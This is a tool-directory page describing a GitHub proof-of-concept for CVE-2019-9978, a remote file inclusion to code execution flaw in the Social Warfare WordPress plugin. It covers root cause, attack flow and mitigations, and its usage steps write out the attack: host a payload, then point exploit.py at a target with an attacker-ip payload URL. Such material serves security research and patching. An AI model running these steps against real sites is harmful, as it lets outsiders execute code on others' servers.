Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2019-9978-RCE-PoC — A custom Python proof-of-concept showcasing root-cause analysis and exploitation of CVE 2019-9978 (Social Warfare plugin),focusing on practical RFI to RCE attack flow. | Kitploit
Tools/GitHubGitHub/vaidehim55/cve-2019-9978-rce-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubvaidehim55/cve-2019-9978-rce-poc

CVE-2019-9978-RCE-PoC

A custom Python proof-of-concept showcasing root-cause analysis and exploitation of CVE 2019-9978 (Social Warfare plugin),focusing on practical RFI to RCE attack flow.

View Repository
13810 months agoNot yet reviewed
Share

CVE-2019-9978 RCE PoC – Social Warfare WordPress Plugin Exploit

Unauthenticated Remote File Inclusion (RFI) to Remote Code Execution (RCE)


📌 Description

This repository contains a Python-based Proof of Concept (PoC) demonstrating the exploitation of CVE-2019-9978, a critical vulnerability in the Social Warfare WordPress plugin.

The vulnerability allows an unauthenticated attacker to perform Remote File Inclusion (RFI), which can be escalated to Remote Code Execution (RCE)* by hosting a malicious payload on an attacker-controlled server.

This PoC was developed and tested in a controlled WordPress lab environment for educational and authorized security testing purposes only.


🔍 Vulnerability Summary

  • CVE ID: CVE-2019-9978
  • Affected Component: Social Warfare (WordPress Plugin)
  • Affected Versions: ≤ 3.5.2
  • Vulnerability Type: Remote File Inclusion (RFI)
  • Impact: Remote Code Execution (RCE)
  • Authentication Required: No
  • Attack Vector: Remote
  • Severity: Critical

🧠 Root Cause Analysis

The Social Warfare plugin fails to properly validate and sanitize user-supplied input used for remote content inclusion.
As a result, an attacker can supply a malicious external URL, leading to unauthenticated remote file inclusion.

When the included remote file contains executable PHP code, it is executed in the context of the WordPress server, resulting in remote code execution.


🔄 Attack Flow


Unauthenticated HTTP Request
↓
Remote File Inclusion (External URL)
↓
Malicious Payload Execution
↓
Remote Code Execution (RCE)


🧪 Proof of Concept (PoC)

  1. The attacker hosts a malicious payload on an external HTTP server
  2. The vulnerable Social Warfare endpoint includes the remote file
  3. The payload executes on the target WordPress server
  4. The attacker gains remote command execution
  5. The exploit script automates this process for testing and research purposes

▶️ Usage

Step 1: Host the payload

python3 -m http.server 8000

Place your payload file (e.g., payload-main.txt) in the server directory.


Step 2: Execute the exploit

python3 exploit.py <target-site.com> http://attacker-ip:8000/payload-main.txt

🛠 Requirements

  • Python 3.x
  • Vulnerable version of the Social Warfare WordPress plugin
  • WordPress test environment
  • Local or remote HTTP server for payload hosting

🛡 Mitigation & Defense

  • Update the Social Warfare plugin to a patched version

  • Disable remote file inclusion:

    allow_url_include = Off
    
  • Restrict external URL handling in WordPress plugins

  • Deploy a Web Application Firewall (WAF) with RFI detection rules


⚠️ Legal Disclaimer

This project is intended strictly for educational purposes and authorized security testing only.

Do NOT use this Proof of Concept against systems without explicit permission. The author is not responsible for any misuse or damage caused by this tool.


🔗 References & Credits

  • Original Researcher: Luka Sikic
  • Original PoC Reference: https://github.com/hash3liZer/CVE-2019-9978
  • Author / Adaptation: Vaidehi Muluru

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    911
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    548
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    366
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    362
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    311
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    287

Explore all tools

Browse our collection of tools

View all tools →